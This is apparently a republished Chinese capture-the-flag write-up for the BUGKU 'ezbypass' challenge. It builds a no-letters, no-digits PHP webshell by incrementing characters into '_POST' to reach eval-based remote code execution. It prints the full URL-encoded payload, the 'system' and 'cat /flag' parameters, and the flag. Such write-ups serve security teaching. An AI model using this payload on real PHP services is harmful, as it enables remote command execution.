BUGKU-WEB ezbypass

题目描述

题目截图如下:
在这里插入图片描述

进入场景看看:
在这里插入图片描述

解题思路

  • 代码审计题目
  • 发现需要构造一个字符串,使得它不包含字母、数字、特殊字符的PHP代码片段,长度小于105,然后传递给$code
  • post提交参数,eval()执行
  • 是一个关于无字母数字webshell的题目,自增绕过

相关工具

  • post,拿出hackbar
  • 正则表达:https://www.mklab.cn/utils/regex
  • url编码:https://www.urlencoder.net/

解题步骤

  1. 审计代码
<?php                   
error_reporting(0);                   
highlight_file(__FILE__);                       

if (isset($_POST['code'])) {  #  检查是否通过POST请求提交了名为"code"的参数。            
    $code = $_POST['code'];       # 将POST请求中的"code"参数的值赋给变量$code。    
    if (strlen($code) <= 105){    #  检查$code的长度是否小于等于105个字符。           
        if (is_string($code)) {   # 检查$code是否为字符串类型。                      
            if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/" ,$code)){
            #   使用正则表达式检查$code是否不包含其中字母数字和其他字符。       
                eval($code);  #  如果$code满足以上所有条件,则执行eval函数,将$code作为PHP代码执行。
            } else {                            
                echo "Hacked!"; # 如果$code包含不允许的字符,则输出"Hacked!",表示该代码可能被黑客修改。                     
            }
        } else { 
            echo "You need to pass in a string"; #  如果$code不是字符串类型,则输出"You need to pass in a string",表示需要传递一个字符串类型的参数。                      
        }
    } else { 
            echo "long?";  # 如果$code的长度超过105个字符,则输出"long?",表示代码太长了。                         
    }  
}
  1. fuzz测试正则还有哪些字符没有被过滤:
for ($i=32;$i<127;$i++){
    if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/" ,$code)){
        echo chr($i);
    }
}

输出:

 !$'()+,./;=[]_

for循环中,这个i从32到127的意思是(ASCII三种进制对照表):过一遍这些字符
在这里插入图片描述

接下来就要使用 !$'()+,./;=[]_来构造payload 执行RCE。什么是RCE?见后面的知识点部分

  1. 目前需要显示flag,那可能需要 cat /flag命令
  2. 使用函数system:system('cat /flag'),请查看后文知识点。(不知道这里理解错了没...)
  3. 那么现在要做的就是使用$_=()[];+\$来绕过之前的正则表达式,也就是code的内容
_=system&__=cat /flag&code=
_=system&__=cat /f*&code=
  1. 大佬给的POC:
_=system&__=cat /flag&code=%24_%3D(_%2F_._)%5B_%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
%24_%3D(_%2F_._)%5B_%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

之前的那个105的限制就在这里体现,要是使用get来编写payload的话,会超过这个105.(感兴趣的可以去数数-_-)

解码后就是:

$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);

格式化后:

$_=(_/_._)[_]; # _/\_ == NAN  有些地方时(0/0).
$_++; 
$__=$_.$_++;
$_++;$_++;$_++;
$__=$__.$_;
$_++;
$__=$__.$_;
$_=_.$__;

$$_[_]($$_[__]);

$_:这里的单个下划线,看作是变量1
$__:这里的双下划线,看做是变量2

不理解没关系,你可以把代码放本地去运行试试就知道了

<?php
$_=(_/_._)[_];
var_dump($_); # 输出N

说明:_/_ == NAN,目的是得到N这个字母,方便自增得到P。除了_/_ 外还空数组、无限大:
在这里插入图片描述

<?php
$_=(_/_._)[_];
var_dump($_);#输出N
<?php
$_=(_/_._)[_];
$_++; 
var_dump($_); # 输出O
<?php
$_=(_/_._)[_];
$_++; 
$__=$_.$_++;
var_dump($__);# 输出PO
<?php
$_=(_/_._)[_];
$_++; 
$__=$_.$_++;
$_++;$_++;$_++;
$__=$__.$_;
var_dump($__);# 输出POS
<?php
$_=(_/_._)[_];
$_++; 
$__=$_.$_++;
$_++;$_++;$_++;
$__=$__.$_;
$_++;
$__=$__.$_;
$_=_.$__;
var_dump($_); # 输出_POST

至于下面代码:

$$_[_]($$_[__]);
#也就是 $_POST[_]($_POST[__])

解释如下:

  • $_POST 变量用来收集表单数据,
  • 这里$_POST[_] ($_POST[__]),就是要给_和__进行传参,()的意思应该是分传参的先后次序咯。
    在这里插入图片描述
    在这里插入图片描述

得到Flag

flag{2973f3b4a67d74882bab11b75f37cef7}       

在这里插入图片描述

新知识点

  1. isset() 函数:检测变量是否已设置并且非 NULL
    在这里插入图片描述
  2. RCE理解
  • 远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
  • RCE分为远程命令执行ping和远程代码执行evel。
  1. PHP中system函数

在这里插入图片描述4.ASCII三种进制对照表、二进制、字节
5. Perl 特殊变量

参考链接

  1. 总结rce(远程代码执行各种sao姿势)绕过bypass

在这里插入图片描述
2. 从CTFShow[RCE挑战]中学习自增构造webshell,这篇文章介绍很详细

  • 什么是自增:
    当我们通过某种方法可以得到一个字符时,我们就可以通过自增来获取其他字符
  1. 题目讲解4
    在这里插入图片描述
  2. ctfshow–RCE极限挑战

有用的话,请点赞收藏评论,帮助更多的同学哦

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/451593.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【JS】浅谈防抖与节流

防抖与节流 前言一、防抖1.1是什么&#xff1f;1.2做什么&#xff1f;1.3应用场景&#xff1f;1.4实现原理&#xff1f; 二、节流是什么&#xff1f;2.1是什么&#xff1f;2.2做什么&#xff1f;2.3应用场景&#xff1f;2.4实现原理&#xff1f; 总结 前言 防抖与节流算是面试…

一起玩儿3D打印机——01 3D打印机初探

摘要&#xff1a;本文介绍3D打印技术的基本知识以及3D打印机的结构分类和组成 3D打印技术这几年得到了快速的发展&#xff0c;在一些特定领域和特定行业逐渐被越来越多的人所接受并大量使用。与之相关的供应链和产业链也日益壮大&#xff0c;并形成了完善的体系。 这次之所以…

虚拟化技术的介绍

查看是否支持虚拟化: Linux虚拟化平台安装 云服务类型: 华为云的介绍: 公有云配置 区域&#xff1a; 同一个区域中的云主机是可以互相连通的&#xff0c;不通区域云主机是不能使用内部网络互相通信的 选择离自己比较近的区域&#xff0c;可以减少网络延时卡顿 华为云yum仓库&…

[C语言] 数据存储

类型意义&#xff1a; 1.类型决定内存空间大小&#xff08;大小决定了使用范围&#xff09; 2.如何看待内存空间的视角 类型分类 整形 类型大小(字节)short2int4long4long8 浮点型 类型大小(字节)float4double8long double12 构造类型 数组结构性struct联合union枚举enum 指…

windows下安装python3.8

一、从官网下载安装包 官网地址&#xff1a;https://www.python.org/downloads/ 华为云地址&#xff1a;https://mirrors.huaweicloud.com/python/ 第三方镜像&#xff1a;https://registry.npmmirror.com/binary.html?pathpython/ 注意&#xff1a;从python3.8.10版本开始…

java八股文 笔记(持续更新中~)

1 Redis 2Mysql 3JVM 4java基础底层 5 spring 6 微服务 7.......(持续更新) One:Redis篇 1.穿透 2&#xff1a;击穿 3&#xff1a;雪崩 3 33 4:双写一致 5.持久化

Vue3全家桶 - Vue3 - 【8】模板引用【ref】(访问模板引用 + v-for中的模板引用 + 组件上的ref)

模板引用【ref】 Vue3官网-模板引用&#xff1b;如果我们需要直接访问组件中的底层DOM元素&#xff0c;可使用vue提供特殊的ref属性来访问&#xff1b; 一、 访问模板引用 在视图元素上采用ref属性来设置需要访问的DOM元素&#xff1a; 该 ref 属性可采用 字符串 值的执行设…

docker-compose Install ONLYOFFICE

ONLYOFFICE 前言 ONLYOFFICE 是一款全面的协作办公软件套件,集成了文档处理、电子表格和演示文稿等功能,为团队提供了无缝协作的工作环境。其功能强大,操作简便,是各种规模和类型的团队的首选工具。 功能介绍 多人协作:ONLYOFFICE 提供实时协作功能,让团队成员可以同时…

QGIS 开发之旅一《二次开发环境搭建》

1、 安装QT 下载QT Index of /new_archive/qt 我选择的版本是 Qt5.14.2 2、安装VS2017 Downloads & Keys - Visual Studio Subscriptions。下载后选择windows通用平台开发和C 开发就可以了。 3、安装插件QT vs tools 搜索 qt vs tools&#xff0c;选择第一个安装 …

【vivado】 clock wizard 时钟IP

一、前言 MMCM和PLL是在FPGA设计中不可避免需要使用到的时钟资源&#xff0c;对于其功能及使用方法的理解是正确进行FPGA设计的前提。 二、Xilinx 时钟 IP配置 vivado中使用时钟向导(Clocking Wizard)配置时钟IP核&#xff0c;其框图如下&#xff1a; clk_in 输入时钟&#…

MachineSink - 优化阅读笔记

注&#xff1a;该优化与全局子表达式消除刚好是相反的过程&#xff0c;具体该不该做这个优化得看代价模型算出来的结果(有采样文件指导算得会更准确) 该优化过程将指令移动到后继基本块中&#xff0c;以便它们不会在不需要其结果的路径上执行。 该优化过程并非旨在替代或完全…

按键+串口发送实验

摸鱼记录 Day_15 &#xff5e;(&#xffe3;▽&#xffe3;&#xff5e;)(&#xff5e;&#xffe3;▽&#xffe3;)&#xff5e; review 前边已经学习了&#xff1a; 串口发送Vivado 串口通信(UART)------串口发送-CSDN博客 按键基于状态机的按键消抖实现-CSDN博客 1. …

CANopen转Profinet网关连接西门子PLC与变流器通讯

CANopen转Profinet网关&#xff08;XD-COPNm20&#xff09;在智能领域&#xff0c;变流器的应用非常广泛&#xff0c;变流器一般会采用CANopen协议。现场采用台达的变流器&#xff08;支持CANopen协议&#xff09;作为CANopen从站&#xff0c;S7-1500系列PLC做主站&#xff0c;…

ENVI 如何批量拆分多波段栅格

在处理遥感图像时&#xff0c;需要将多波段栅格进行拆分是很常见的需求。下面介绍一种方法&#xff0c;可以实现图像批量拆分并重命名。 打开ENVI的App Store 搜索并下载应用 在ENVI的App Store中搜索"将多波段图像拆分成多个单波段文件"&#xff0c;并下载安装。 打…

索引失效的介绍和避免方法

索引是什么 在关系数据库 中&#xff0c;索引是一种单独的、物理的对数据库表中一列或多列的值进行排序的一种 存储结构 &#xff0c;它是某个表中一列或若干列值的集合和相应的指向表中物理标识这些值的数据页的逻辑指针清单。 索引的作用相当于图书的目录&#xff0c;可以根据…

20240309web前端_第一周作业_完成用户注册界面

作业一&#xff1a;完成用户注册界面 成果展示&#xff1a; 完整代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-…

MyBatis拦截器四种类型和自定义拦截器的使用流程

文章目录 MyBatis拦截器四种类型和自定义拦截器的使用流程一、MyBatis拦截器四种类型的详细解释&#xff1a;1. **ParameterHandler 拦截器**&#xff1a;2. **ResultSetHandler 拦截器**&#xff1a;3. **StatementHandler 拦截器**&#xff1a;4. **Interceptor Chain 拦截器…

软考高级:统计过程阶段和工作流概念和例题

作者&#xff1a;明明如月学长&#xff0c; CSDN 博客专家&#xff0c;大厂高级 Java 工程师&#xff0c;《性能优化方法论》作者、《解锁大厂思维&#xff1a;剖析《阿里巴巴Java开发手册》》、《再学经典&#xff1a;《Effective Java》独家解析》专栏作者。 热门文章推荐&am…

基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的常见车型识别系统(Python+PySide6界面+训练代码)

摘要&#xff1a;本文深入探讨了如何应用深度学习技术开发一个先进的常见车型识别系统。该系统核心采用最新的YOLOv8算法&#xff0c;并与早期的YOLOv7、YOLOv6、YOLOv5等版本进行性能比较&#xff0c;主要评估指标包括mAP和F1 Score等。详细解析了YOLOv8的工作机制&#xff0c…

逆向案例七——中国天气质量参数搜不到加密,以及应对禁止打开开发者工具和反debuger技巧

进入相关城市数据页面&#xff0c;发现不能调试 应对方法&#xff0c;再另一个页面&#xff0c;打开开发者工具&#xff0c;选择取消停靠到单独页面 接着&#xff0c;复制链接在该页面打开。接着会遇到debugger 再debugger处打上断点&#xff0c;一律不在此处暂停。 然后点击继…
最新文章